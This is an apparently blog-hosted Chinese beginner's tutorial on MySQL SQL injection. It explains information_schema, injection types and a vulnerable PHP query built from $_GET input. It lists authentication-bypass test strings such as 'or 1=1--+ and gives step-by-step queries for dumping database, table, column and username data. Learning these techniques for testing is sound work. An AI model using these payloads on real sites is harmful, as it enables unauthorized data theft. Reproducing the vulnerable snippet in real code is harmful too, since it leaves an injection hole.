sql注入--入门篇

这里先推荐一下适合SQL注入入门的资源:

首先,需要先学习一下SQL语句,至少知道怎么用。具体可以参考w3school

其次,需要了解各种各种数据库的结构。例如mysql数据库,有information_schema库,库里有schemata,tables,columns表,表里还有各种字段。

一些关键点(以mysql数据库为例子):

连接函数

concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

数据库结构

库:information_schema
表:schemata,tables,columns    
字段:table_schema,tabe_name,column

常用函数

version()-MySQL版本 
user()-数据库用户名 
database()-数据库名 
@@datadir-数据库路径 
@@version_compile_os-操作系统版本

逻辑运算

and,or

接下来是原理,也是SQL注入最核心的地方。
原理:当参数可控的情况下,将sql语句注入到参数(符合语法规则),让服务器端执行一些我们想要执行的语句,返回数据库的私密信息。

下面代码是一个简单的SQL注入点:

id=_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看到,当输入的参数$id为代码的时候就会使得sql语句改变原来的逻辑。

SQL注入分类:

联合查询的类型
基于错误的SQL注入
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
堆查询注射
二次注入
cookie注入
referer注入
宽字节注入
......

一般的注入过程:
1.寻找注入点
一般的SQL注入测试语句:

PS: --可以用#替换,url提交过程中url编码后的#为%23

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

get注入:

添加单引号报错
and 1=1正常 and 1=2不正常 
10-0正常 10-1不正常(参数为整型)

post注入:

基本与get类似
万能密码使用上述测试语句

搜索框注入:

1 搜索keywords',如果出错的话,有90%的可能性存在漏洞;
2 搜索keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords%'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)
4 搜索keywords%'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)
5 根据两次的返回情况来判断是不是搜索型文本框注入了

2.爆数据库

爆当前数据库:
select database()
爆单个数据库:
select schema_name from information_schema.schemata limit n,1
爆所有数据库:
select group_concat(schema_name) from information_schema.schemata

3.爆数据表(此时的库以security为例)

爆某库单个表:
select table_name from information_schema.tables where table_schema='security' limit n,1
爆某库所有表:
select group_concat(table_name) from information_schema.tables where table_schema='security'

4.爆字段(此时的表以users为例)

爆某个表单个字段:
select column_name from information_schema.columns where table_name='users' limit n,1
爆某个表所有字段:
select group_concat(column_name) from information_schema.columns where table_name='users'

5.爆数据项(以username为例)

select group_concat(username) from users
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值